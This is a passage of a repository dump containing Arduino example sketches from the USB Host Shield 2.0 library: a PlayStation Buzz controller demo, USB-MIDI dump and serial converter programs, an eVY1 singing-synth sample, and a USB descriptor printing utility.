    "content": "/*\n Example sketch for the Playstation Buzz library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PSBuzz.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nPSBuzz Buzz(&Usb);\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n  Serial.println(F(\"\\r\\nPS Buzz Library Started\"));\n}\n\nvoid loop() {\n  Usb.Task();\n\n  if (Buzz.connected()) {\n    for (uint8_t i = 0; i < 4; i++) {\n      if (Buzz.getButtonClick(RED, i)) {\n        Buzz.setLedToggle(i); // Toggle the LED\n        Serial.println(F(\"RED\"));\n      }\n      if (Buzz.getButtonClick(YELLOW, i))\n        Serial.println(F(\"YELLOW\"));\n      if (Buzz.getButtonClick(GREEN, i))\n        Serial.println(F(\"GREEN\"));\n      if (Buzz.getButtonClick(ORANGE, i))\n        Serial.println(F(\"ORANGE\"));\n      if (Buzz.getButtonClick(BLUE, i))\n        Serial.println(F(\"BLUE\"));\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USBH_MIDI_dump/USBH_MIDI_dump.ino",
    "content": "/*\n *******************************************************************************\n * USB-MIDI dump utility\n * Copyright (C) 2013-2017 Yuuichi Akagawa\n *\n * for use with USB Host Shield 2.0 from Circuitsathome.com\n * https://github.com/felis/USB_Host_Shield_2.0\n *\n * This is sample program. Do not expect perfect behavior.\n *******************************************************************************\n */\n\n#include <usbh_midi.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub(&Usb);\nUSBH_MIDI  Midi(&Usb);\n\nvoid MIDI_poll();\n\nuint16_t pid, vid;\n\nvoid setup()\n{\n  vid = pid = 0;\n  Serial.begin(115200);\n\n  if (Usb.Init() == -1) {\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n  //uint32_t t1 = (uint32_t)micros();\n  if ( Midi ) {\n    MIDI_poll();\n  }\n}\n\n// Poll USB MIDI Controler and send to serial MIDI\nvoid MIDI_poll()\n{\n  char buf[20];\n  uint8_t bufMidi[64];\n  uint16_t  rcvd;\n\n  if (Midi.idVendor() != vid || Midi.idProduct() != pid) {\n    vid = Midi.idVendor();\n    pid = Midi.idProduct();\n    sprintf(buf, \"VID:%04X, PID:%04X\", vid, pid);\n    Serial.println(buf);\n  }\n  if (Midi.RecvData( &rcvd,  bufMidi) == 0 ) {\n    uint32_t time = (uint32_t)millis();\n    sprintf(buf, \"%04X%04X: \", (uint16_t)(time >> 16), (uint16_t)(time & 0xFFFF)); // Split variable to prevent warnings on the ESP8266 platform\n    Serial.print(buf);\n    Serial.print(rcvd);\n    Serial.print(':');\n    for (int i = 0; i < 64; i++) {\n      sprintf(buf, \" %02X\", bufMidi[i]);\n      Serial.print(buf);\n    }\n    Serial.println(\"\");\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter/USB_MIDI_converter.ino",
    "content": "/*\n *******************************************************************************\n * USB-MIDI to Legacy Serial MIDI converter\n * Copyright (C) 2012-2017 Yuuichi Akagawa\n *\n * Idea from LPK25 USB-MIDI to Serial MIDI converter\n *   by Collin Cunningham - makezine.com, narbotic.com\n *\n * This is sample program. Do not expect perfect behavior.\n *******************************************************************************\n */\n\n#include <usbh_midi.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n#ifdef USBCON\n#define _MIDI_SERIAL_PORT Serial1\n#else\n#define _MIDI_SERIAL_PORT Serial\n#endif\n//////////////////////////\n// MIDI Pin assign\n// 2 : GND\n// 4 : +5V(Vcc) with 220ohm\n// 5 : TX\n//////////////////////////\n\nUSB Usb;\nUSBH_MIDI  Midi(&Usb);\n\nvoid MIDI_poll();\nvoid doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime);\n\nvoid setup()\n{\n  _MIDI_SERIAL_PORT.begin(31250);\n\n  if (Usb.Init() == -1) {\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n  uint32_t t1 = (uint32_t)micros();\n  if ( Midi ) {\n    MIDI_poll();\n  }\n  //delay(1ms)\n  doDelay(t1, (uint32_t)micros(), 1000);\n}\n\n// Poll USB MIDI Controler and send to serial MIDI\nvoid MIDI_poll()\n{\n  uint8_t outBuf[ 3 ];\n  uint8_t size;\n\n  do {\n    if ( (size = Midi.RecvData(outBuf)) > 0 ) {\n      //MIDI Output\n      _MIDI_SERIAL_PORT.write(outBuf, size);\n    }\n  } while (size > 0);\n}\n\n// Delay time (max 16383 us)\nvoid doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime)\n{\n  uint32_t t3;\n\n  t3 = t2 - t1;\n  if ( t3 < delayTime ) {\n    delayMicroseconds(delayTime - t3);\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter_multi/USB_MIDI_converter_multi.ino",
    "content": "/*\n *******************************************************************************\n * USB-MIDI to Legacy Serial MIDI converter\n * Copyright (C) 2012-2017 Yuuichi Akagawa\n *\n * Idea from LPK25 USB-MIDI to Serial MIDI converter\n *   by Collin Cunningham - makezine.com, narbotic.com\n *\n * This is sample program. Do not expect perfect behavior.\n *******************************************************************************\n */\n\n#include <usbh_midi.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n#ifdef USBCON\n#define _MIDI_SERIAL_PORT Serial1\n#else\n#define _MIDI_SERIAL_PORT Serial\n#endif\n//////////////////////////\n// MIDI Pin assign\n// 2 : GND\n// 4 : +5V(Vcc) with 220ohm\n// 5 : TX\n//////////////////////////\n\nUSB Usb;\nUSBHub  Hub1(&Usb);\nUSBH_MIDI  Midi1(&Usb);\nUSBH_MIDI  Midi2(&Usb);\n\nvoid MIDI_poll();\nvoid doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime);\n\nvoid setup()\n{\n  _MIDI_SERIAL_PORT.begin(31250);\n\n  if (Usb.Init() == -1) {\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n  uint32_t t1 = (uint32_t)micros();\n  if ( Midi1 ) {\n    MIDI_poll(Midi1);\n  }\n  if ( Midi2 ) {\n    MIDI_poll(Midi2);\n  }\n  //delay(1ms)\n  doDelay(t1, (uint32_t)micros(), 1000);\n}\n\n// Poll USB MIDI Controler and send to serial MIDI\nvoid MIDI_poll(USBH_MIDI &Midi)\n{\n  uint8_t outBuf[ 3 ];\n  uint8_t size;\n\n  do {\n    if ( (size = Midi.RecvData(outBuf)) > 0 ) {\n      //MIDI Output\n      _MIDI_SERIAL_PORT.write(outBuf, size);\n    }\n  } while (size > 0);\n}\n\n// Delay time (max 16383 us)\nvoid doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime)\n{\n  uint32_t t3;\n\n  t3 = t2 - t1;\n  if ( t3 < delayTime ) {\n    delayMicroseconds(delayTime - t3);\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/bidirectional_converter/bidirectional_converter.ino",
    "content": "/*\n *******************************************************************************\n * Legacy Serial MIDI and USB Host bidirectional converter\n * Copyright (C) 2013-2017 Yuuichi Akagawa\n *\n * for use with Arduino MIDI library\n * https://github.com/FortySevenEffects/arduino_midi_library/\n *\n * Note:\n * - If you want use with Leonardo, you must choose Arduino MIDI library v4.0 or higher.\n * - This is sample program. Do not expect perfect behavior.\n *******************************************************************************\n */\n\n#include <MIDI.h>\n#include <usbh_midi.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n//Arduino MIDI library v4.2 compatibility\n#ifdef MIDI_CREATE_DEFAULT_INSTANCE\nMIDI_CREATE_DEFAULT_INSTANCE();\n#endif\n#ifdef USBCON\n#define _MIDI_SERIAL_PORT Serial1\n#else\n#define _MIDI_SERIAL_PORT Serial\n#endif\n\n//////////////////////////\n// MIDI Pin assign\n// 2 : GND\n// 4 : +5V(Vcc) with 220ohm\n// 5 : TX\n//////////////////////////\n\nUSB Usb;\nUSBH_MIDI Midi(&Usb);\n\nvoid MIDI_poll();\n\n//If you want handle System Exclusive message, enable this #define otherwise comment out it.\n#define USBH_MIDI_SYSEX_ENABLE\n\n#ifdef USBH_MIDI_SYSEX_ENABLE\n//SysEx:\nvoid handle_sysex( byte* sysexmsg, unsigned sizeofsysex) {\n  Midi.SendSysEx(sysexmsg, sizeofsysex);\n}\n#endif\n\nvoid setup()\n{\n  MIDI.begin(MIDI_CHANNEL_OMNI);\n  MIDI.turnThruOff();\n#ifdef USBH_MIDI_SYSEX_ENABLE\n  MIDI.setHandleSystemExclusive(handle_sysex);\n#endif\n  if (Usb.Init() == -1) {\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n  delay( 200 );\n}\n\nvoid loop()\n{\n  uint8_t msg[4];\n\n  Usb.Task();\n  if ( Midi ) {\n    MIDI_poll();\n    if (MIDI.read()) {\n      msg[0] = MIDI.getType();\n      switch (msg[0]) {\n        case midi::ActiveSensing :\n          break;\n        case midi::SystemExclusive :\n          //SysEx is handled by event.\n          break;\n        default :\n          msg[1] = MIDI.getData1();\n          msg[2] = MIDI.getData2();\n          Midi.SendData(msg, 0);\n          break;\n      }\n    }\n  }\n}\n\n// Poll USB MIDI Controler and send to serial MIDI\nvoid MIDI_poll()\n{\n  uint8_t size;\n#ifdef USBH_MIDI_SYSEX_ENABLE\n  uint8_t recvBuf[MIDI_EVENT_PACKET_SIZE];\n  uint8_t rcode = 0;     //return code\n  uint16_t  rcvd;\n  uint8_t   readPtr = 0;\n\n  rcode = Midi.RecvData( &rcvd, recvBuf);\n\n  //data check\n  if (rcode != 0) return;\n  if ( recvBuf[0] == 0 && recvBuf[1] == 0 && recvBuf[2] == 0 && recvBuf[3] == 0 ) {\n    return ;\n  }\n\n  uint8_t *p = recvBuf;\n  while (readPtr < MIDI_EVENT_PACKET_SIZE)  {\n    if (*p == 0 && *(p + 1) == 0) break; //data end\n\n    uint8_t outbuf[3];\n    uint8_t rc = Midi.extractSysExData(p, outbuf);\n    if ( rc == 0 ) {\n      p++;\n      size = Midi.lookupMsgSize(*p);\n      _MIDI_SERIAL_PORT.write(p, size);\n      p += 3;\n    } else {\n      _MIDI_SERIAL_PORT.write(outbuf, rc);\n      p += 4;\n    }\n    readPtr += 4;\n  }\n#else\n  uint8_t outBuf[3];\n  do {\n    if ( (size = Midi.RecvData(outBuf)) > 0 ) {\n      //MIDI Output\n      _MIDI_SERIAL_PORT.write(outBuf, size);\n    }\n  } while (size > 0);\n#endif\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/eVY1_sample/eVY1_sample.ino",
    "content": "/*\n *******************************************************************************\n * eVY1 Shield sample - Say 'Konnichiwa'\n * Copyright (C) 2014-2016 Yuuichi Akagawa\n *\n * This is sample program. Do not expect perfect behavior.\n *******************************************************************************\n */\n#include <usbh_midi.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub(&Usb);\nUSBH_MIDI  Midi(&Usb);\n\nvoid MIDI_poll();\nvoid noteOn(uint8_t note);\nvoid noteOff(uint8_t note);\n\nuint16_t pid, vid;\nuint8_t exdata[] = {\n  0xf0, 0x43, 0x79, 0x09, 0x00, 0x50, 0x10,\n  'k', ' ', 'o', ',', //Ko\n  'N', '\\\\', ',',     //N\n  'J', ' ', 'i', ',', //Ni\n  't', 'S', ' ', 'i', ',', //Chi\n  'w', ' ', 'a',      //Wa\n  0x00, 0xf7\n};\n\nvoid setup()\n{\n  vid = pid = 0;\n  Serial.begin(115200);\n\n  if (Usb.Init() == -1) {\n    while (1); //halt\n  }//if (Usb.Init() == -1...\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n  if( Midi ) {\n    MIDI_poll();\n    noteOn(0x3f);\n    delay(400);\n    noteOff(0x3f);\n    delay(100);\n  }\n}\n\n// Poll USB MIDI Controler\nvoid MIDI_poll()\n{\n  uint8_t inBuf[ 3 ];\n\n  //first call?\n  if (Midi.idVendor() != vid || Midi.idProduct() != pid) {\n    vid = Midi.idVendor(); pid = Midi.idProduct();\n    Midi.SendSysEx(exdata, sizeof(exdata));\n    delay(500);\n  }\n  Midi.RecvData(inBuf);\n}\n\n//note On\nvoid noteOn(uint8_t note)\n{\n  uint8_t buf[3];\n  buf[0] = 0x90;\n  buf[1] = note;\n  buf[2] = 0x7f;\n  Midi.SendData(buf);\n}\n\n//note Off\nvoid noteOff(uint8_t note)\n{\n  uint8_t buf[3];\n  buf[0] = 0x80;\n  buf[1] = note;\n  buf[2] = 0x00;\n  Midi.SendData(buf);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USB_desc/USB_desc.ino",
    "content": "#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB     Usb;\n//USBHub  Hub1(&Usb);\n//USBHub  Hub2(&Usb);\n//USBHub  Hub3(&Usb);\n//USBHub  Hub4(&Usb);\n//USBHub  Hub5(&Usb);\n//USBHub  Hub6(&Usb);\n//USBHub  Hub7(&Usb);\n\nvoid PrintAllAddresses(UsbDevice *pdev)\n{\n  UsbDeviceAddress adr;\n  adr.devAddress = pdev->address.devAddress;\n  Serial.print(\"\\r\\nAddr:\");\n  Serial.print(adr.devAddress, HEX);\n  Serial.print(\"(\");\n  Serial.print(adr.bmHub, HEX);\n  Serial.print(\".\");\n  Serial.print(adr.bmParent, HEX);\n  Serial.print(\".\");\n  Serial.print(adr.bmAddress, HEX);\n  Serial.println(\")\");\n}\n\nvoid PrintAddress(uint8_t addr)\n{\n  UsbDeviceAddress adr;\n  adr.devAddress = addr;\n  Serial.print(\"\\r\\nADDR:\\t\");\n  Serial.println(adr.devAddress, HEX);\n  Serial.print(\"DEV:\\t\");\n  Serial.println(adr.bmAddress, HEX);\n  Serial.print(\"PRNT:\\t\");\n  Serial.println(adr.bmParent, HEX);\n  Serial.print(\"HUB:\\t\");\n  Serial.println(adr.bmHub, HEX);\n}\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n    Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n}\n\nuint8_t getdevdescr( uint8_t addr, uint8_t &num_conf );\n\nvoid PrintDescriptors(uint8_t addr)\n{\n  uint8_t rcode = 0;\n  uint8_t num_conf = 0;\n\n  rcode = getdevdescr( (uint8_t)addr, num_conf );\n  if ( rcode )\n  {\n    printProgStr(Gen_Error_str);\n    print_hex( rcode, 8 );\n  }\n  Serial.print(\"\\r\\n\");\n\n  for (int i = 0; i < num_conf; i++)\n  {\n    rcode = getconfdescr( addr, i );                 // get configuration descriptor\n    if ( rcode )\n    {\n      printProgStr(Gen_Error_str);\n      print_hex(rcode, 8);\n    }\n    Serial.println(\"\\r\\n\");\n  }\n}\n\nvoid PrintAllDescriptors(UsbDevice *pdev)\n{\n  Serial.println(\"\\r\\n\");\n  print_hex(pdev->address.devAddress, 8);\n  Serial.println(\"\\r\\n--\");\n  PrintDescriptors( pdev->address.devAddress );\n}\n\nvoid loop()\n{\n  Usb.Task();\n\n  if ( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n  {\n    Usb.ForEachUsbDevice(&PrintAllDescriptors);\n    Usb.ForEachUsbDevice(&PrintAllAddresses);\n\n    while ( 1 ) { // stop\n#ifdef ESP8266\n        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n    }\n  }\n}\n\nuint8_t getdevdescr( uint8_t addr, uint8_t &num_conf )\n{\n  USB_DEVICE_DESCRIPTOR buf;\n  uint8_t rcode;\n  rcode = Usb.getDevDescr( addr, 0, 0x12, ( uint8_t *)&buf );\n  if ( rcode ) {\n    return ( rcode );\n  }\n  printProgStr(Dev_Header_str);\n  printProgStr(Dev_Length_str);\n  print_hex( buf.bLength, 8 );\n  printProgStr(Dev_Type_str);\n  print_hex( buf.bDescriptorType, 8 );\n  printProgStr(Dev_Version_str);\n  print_hex( buf.bcdUSB, 16 );\n  printProgStr(Dev_Class_str);\n  print_hex( buf.bDeviceClass, 8 );\n  printProgStr(Dev_Subclass_str);\n  print_hex( buf.bDeviceSubClass, 8 );\n  printProgStr(Dev_Protocol_str);\n  print_hex( buf.bDeviceProtocol, 8 );\n  printProgStr(Dev_Pktsize_str);\n  print_hex( buf.bMaxPacketSize0, 8 );\n  printProgStr(Dev_Vendor_str);\n  print_hex( buf.idVendor, 16 );\n  printProgStr(Dev_Product_str);\n  print_hex( buf.idProduct, 16 );\n  printProgStr(Dev_Revision_str);\n  print_hex( buf.bcdDevice, 16 );\n  printProgStr(Dev_Mfg_str);\n  print_hex( buf.iManufacturer, 8 );\n  printProgStr(Dev_Prod_str);\n  print_hex( buf.iProduct, 8 );\n  printProgStr(Dev_Serial_str);\n  print_hex( buf.iSerialNumber, 8 );\n  printProgStr(Dev_Nconf_str);\n  print_hex( buf.bNumConfigurations, 8 );\n  num_conf = buf.bNumConfigurations;\n  return ( 0 );\n}\n\nvoid printhubdescr(uint8_t *descrptr, uint8_t addr)\n{\n  HubDescriptor  *pHub = (HubDescriptor*) descrptr;\n  uint8_t        len = *((uint8_t*)descrptr);\n\n  printProgStr(PSTR(\"\\r\\n\\r\\nHub Descriptor:\\r\\n\"));\n  printProgStr(PSTR(\"bDescLength:\\t\\t\"));\n  Serial.println(pHub->bDescLength, HEX);\n\n  printProgStr(PSTR(\"bDescriptorType:\\t\"));\n  Serial.println(pHub->bDescriptorType, HEX);\n\n  printProgStr(PSTR(\"bNbrPorts:\\t\\t\"));\n  Serial.println(pHub->bNbrPorts, HEX);\n\n  printProgStr(PSTR(\"LogPwrSwitchMode:\\t\"));\n  Serial.println(pHub->LogPwrSwitchMode, BIN);\n\n  printProgStr(PSTR(\"CompoundDevice:\\t\\t\"));\n  Serial.println(pHub->CompoundDevice, BIN);\n\n  printProgStr(PSTR(\"OverCurrentProtectMode:\\t\"));\n  Serial.println(pHub->OverCurrentProtectMode, BIN);\n\n  printProgStr(PSTR(\"TTThinkTime:\\t\\t\"));\n  Serial.println(pHub->TTThinkTime, BIN);\n\n  printProgStr(PSTR(\"PortIndicatorsSupported:\"));\n  Serial.println(pHub->PortIndicatorsSupported, BIN);\n\n  printProgStr(PSTR(\"Reserved:\\t\\t\"));\n  Serial.println(pHub->Reserved, HEX);\n\n  printProgStr(PSTR(\"bPwrOn2PwrGood:\\t\\t\"));\n  Serial.println(pHub->bPwrOn2PwrGood, HEX);\n\n  printProgStr(PSTR(\"bHubContrCurrent:\\t\"));\n  Serial.println(pHub->bHubContrCurrent, HEX);\n\n  for (uint8_t i = 7; i < len; i++)\n    print_hex(descrptr[i], 8);\n\n  //for (uint8_t i=1; i<=pHub->bNbrPorts; i++)\n  //    PrintHubPortStatus(&Usb, addr, i, 1);\n}\n\nuint8_t getconfdescr( uint8_t addr, uint8_t conf )\n{\n  uint8_t buf[ BUFSIZE ];\n  uint8_t* buf_ptr = buf;\n  uint8_t rcode;\n  uint8_t descr_length;\n  uint8_t descr_type;\n  uint16_t total_length;\n  rcode = Usb.getConfDescr( addr, 0, 4, conf, buf );  //get total length\n  LOBYTE( total_length ) = buf[ 2 ];\n  HIBYTE( total_length ) = buf[ 3 ];\n  if ( total_length > 256 ) {   //check if total length is larger than buffer\n    printProgStr(Conf_Trunc_str);\n    total_length = 256;\n  }\n  rcode = Usb.getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor\n  while ( buf_ptr < buf + total_length ) { //parsing descriptors\n    descr_length = *( buf_ptr );\n    descr_type = *( buf_ptr + 1 );\n    switch ( descr_type ) {\n      case ( USB_DESCRIPTOR_CONFIGURATION ):\n        printconfdescr( buf_ptr );\n        break;\n      case ( USB_DESCRIPTOR_INTERFACE ):\n        printintfdescr( buf_ptr );\n        break;\n      case ( USB_DESCRIPTOR_ENDPOINT ):\n        printepdescr( buf_ptr );\n        break;\n      case 0x29:\n        printhubdescr( buf_ptr, addr );\n        break;\n      default:\n        printunkdescr( buf_ptr );\n        break;\n    }//switch( descr_type\n    buf_ptr = ( buf_ptr + descr_length );    //advance buffer pointer\n  }//while( buf_ptr <=...\n  return ( rcode );\n}\n/* prints hex numbers with leading zeroes */\n// copyright, Peter H Anderson, Baltimore, MD, Nov, '07\n// source: http://www.phanderson.com/arduino/arduino_display.html\nvoid print_hex(int v, int num_places)\n{\n  int mask = 0, n, num_nibbles, digit;\n\n  for (n = 1; n <= num_places; n++) {\n    mask = (mask << 1) | 0x0001;\n  }\n  v = v & mask; // truncate v to specified number of places\n\n  num_nibbles = num_places / 4;\n  if ((num_places % 4) != 0) {\n    ++num_nibbles;\n  }\n  do {\n    digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f;\n    Serial.print(digit, HEX);\n  }\n  while (--num_nibbles);\n}\n/* function to print configuration descriptor */\nvoid printconfdescr( uint8_t* descr_ptr )\n{\n  USB_CONFIGURATION_DESCRIPTOR* conf_ptr = ( USB_CONFIGURATION_DESCRIPTOR* )descr_ptr;\n  printProgStr(Conf_Header_str);\n  printProgStr(Conf_Totlen_str);\n  print_hex( conf_ptr->wTotalLength, 16 );\n  printProgStr(Conf_Nint_str);\n  print_hex( conf_ptr->bNumInterfaces, 8 );\n  printProgStr(Conf_Value_str);\n  print_hex( conf_ptr->bConfigurationValue, 8 );\n  printProgStr(Conf_String_str);\n  print_hex( conf_ptr->iConfiguration, 8 );\n  printProgStr(Conf_Attr_str);\n  print_hex( conf_ptr->bmAttributes, 8 );\n  printProgStr(Conf_Pwr_str);\n  print_hex( conf_ptr->bMaxPower, 8 );\n  return;\n}\n/* function to print interface descriptor */\nvoid printintfdescr( uint8_t* descr_ptr )\n{\n  USB_INTERFACE_DESCRIPTOR* intf_ptr = ( USB_INTERFACE_DESCRIPTOR* )descr_ptr;\n  printProgStr(Int_Header_str);\n  printProgStr(Int_Number_str);\n  print_hex( intf_ptr->bInterfaceNumber, 8 );\n  printProgStr(Int_Alt_str);\n  print_hex( intf_ptr->bAlternateSetting, 8 );\n  printProgStr(Int_Endpoints_str);\n  print_hex( intf_ptr->bNumEndpoints, 8 );\n  printProgStr(Int_Class_str);\n  print_hex( intf_ptr->bInterfaceClass, 8 );\n  printProgStr(Int_Subclass_str);\n  print_hex( intf_ptr->bInterfaceSubClass, 8 );\n  printProgStr(Int_Protocol_str);\n  print_hex( intf_ptr->bInterfaceProtocol, 8 );\n  printProgStr(Int_String_str);\n  print_hex( intf_ptr->iInterface, 8 );\n  return;\n}\n/* function to print endpoint descriptor */\nvoid printepdescr( uint8_t* descr_ptr )\n{\n  USB_ENDPOINT_DESCRIPTOR* ep_ptr = ( USB_ENDPOINT_DESCRIPTOR* )descr_ptr;\n  printProgStr(End_Header_str);\n  printProgStr(End_Address_str);\n  print_hex( ep_ptr->bEndpointAddress, 8 );\n  printProgStr(End_Attr_str);\n  print_hex( ep_ptr->bmAttributes, 8 );\n  printProgStr(End_Pktsize_str);\n  print_hex( ep_ptr->wMaxPacketSize, 16 );\n  printProgStr(End_Interval_str);\n  print_hex( ep_ptr->bInterval, 8 );\n\n  return;\n}\n/*function to print unknown descriptor */\nvoid printunkdescr( uint8_t* descr_ptr )\n{\n  uint8_t length = *descr_ptr;\n  uint8_t i;\n  printProgStr(Unk_Header_str);\n  printProgStr(Unk_Length_str);\n  print_hex( *descr_ptr, 8 );\n  printProgStr(Unk_Type_str);\n  print_hex( *(descr_ptr + 1 ), 8 );\n  printProgStr(Unk_Contents_str);\n  descr_ptr += 2;\n  for ( i = 0; i < length; i++ ) {\n    print_hex( *descr_ptr, 8 );\n    descr_ptr++;\n  }\n}\n\n\n/* Print a string from Program Memory directly to save RAM */\nvoid printProgStr(const char* str)\n{\n  char c;\n  if (!str) return;\n  while ((c = pgm_read_byte(str++)))\n    Serial.print(c);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USB_desc/pgmstrings.h",
    "content": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)(&(x)))[1]\n#define BUFSIZE 256    //buffer size\n \n\n/* Print strings in Program Memory */\nconst char Gen_Error_str[] PROGMEM = \"\\r\\nRequest error. Error code:\\t\"; \nconst char Dev_Header_str[] PROGMEM =\"\\r\\nDevice descriptor: \";\nconst char Dev_Length_str[] PROGMEM =\"\\r\\nDescriptor Length:\\t\";\nconst char Dev_Type_str[] PROGMEM =\"\\r\\nDescriptor type:\\t\";\nconst char Dev_Version_str[] PROGMEM =\"\\r\\nUSB version:\\t\\t\";\nconst char Dev_Class_str[] PROGMEM =\"\\r\\nDevice class:\\t\\t\";\nconst char Dev_Subclass_str[] PROGMEM =\"\\r\\nDevice Subclass:\\t\";\nconst char Dev_Protocol_str[] PROGMEM =\"\\r\\nDevice Protocol:\\t\";\nconst char Dev_Pktsize_str[] PROGMEM =\"\\r\\nMax.packet size:\\t\";\nconst char Dev_Vendor_str[] PROGMEM =\"\\r\\nVendor  ID:\\t\\t\";\nconst char Dev_Product_str[] PROGMEM =\"\\r\\nProduct ID:\\t\\t\";\nconst char Dev_Revision_str[] PROGMEM =\"\\r\\nRevision ID:\\t\\t\";\nconst char Dev_Mfg_str[] PROGMEM =\"\\r\\nMfg.string index:\\t\";\nconst char Dev_Prod_str[] PROGMEM =\"\\r\\nProd.string index:\\t\";\nconst char Dev_Serial_str[] PROGMEM =\"\\r\\nSerial number index:\\t\";\nconst char Dev_Nconf_str[] PROGMEM =\"\\r\\nNumber of conf.:\\t\";\nconst char Conf_Trunc_str[] PROGMEM =\"Total length truncated to 256 bytes\";\nconst char Conf_Header_str[] PROGMEM =\"\\r\\nConfiguration descriptor:\";\nconst char Conf_Totlen_str[] PROGMEM =\"\\r\\nTotal length:\\t\\t\";\nconst char Conf_Nint_str[] PROGMEM =\"\\r\\nNum.intf:\\t\\t\";\nconst char Conf_Value_str[] PROGMEM =\"\\r\\nConf.value:\\t\\t\";\nconst char Conf_String_str[] PROGMEM =\"\\r\\nConf.string:\\t\\t\";\nconst char Conf_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char Conf_Pwr_str[] PROGMEM =\"\\r\\nMax.pwr:\\t\\t\";\nconst char Int_Header_str[] PROGMEM =\"\\r\\n\\r\\nInterface descriptor:\";\nconst char Int_Number_str[] PROGMEM =\"\\r\\nIntf.number:\\t\\t\";\nconst char Int_Alt_str[] PROGMEM =\"\\r\\nAlt.:\\t\\t\\t\";\nconst char Int_Endpoints_str[] PROGMEM =\"\\r\\nEndpoints:\\t\\t\";\nconst char Int_Class_str[] PROGMEM =\"\\r\\nIntf. Class:\\t\\t\";\nconst char Int_Subclass_str[] PROGMEM =\"\\r\\nIntf. Subclass:\\t\\t\";\nconst char Int_Protocol_str[] PROGMEM =\"\\r\\nIntf. Protocol:\\t\\t\";\nconst char Int_String_str[] PROGMEM =\"\\r\\nIntf.string:\\t\\t\";\nconst char End_Header_str[] PROGMEM =\"\\r\\n\\r\\nEndpoint descriptor:\";\nconst char End_Address_str[] PROGMEM =\"\\r\\nEndpoint address:\\t\";\nconst char End_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char End_Pktsize_str[] PROGMEM =\"\\r\\nMax.pkt size:\\t\\t\";\nconst char End_Interval_str[] PROGMEM =\"\\r\\nPolling interval:\\t\";\nconst char Unk_Header_str[] PROGMEM = \"\\r\\nUnknown descriptor:\";\nconst char Unk_Length_str[] PROGMEM =\"\\r\\nLength:\\t\\t\";\nconst char Unk_Type_str[] PROGMEM =\"\\r\\nType:\\t\\t\";\nconst char Unk_Contents_str[] PROGMEM =\"\\r\\nContents:\\t\";\n \n#endif // __PGMSTRINGS_H__"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXOLD/XBOXOLD.ino",
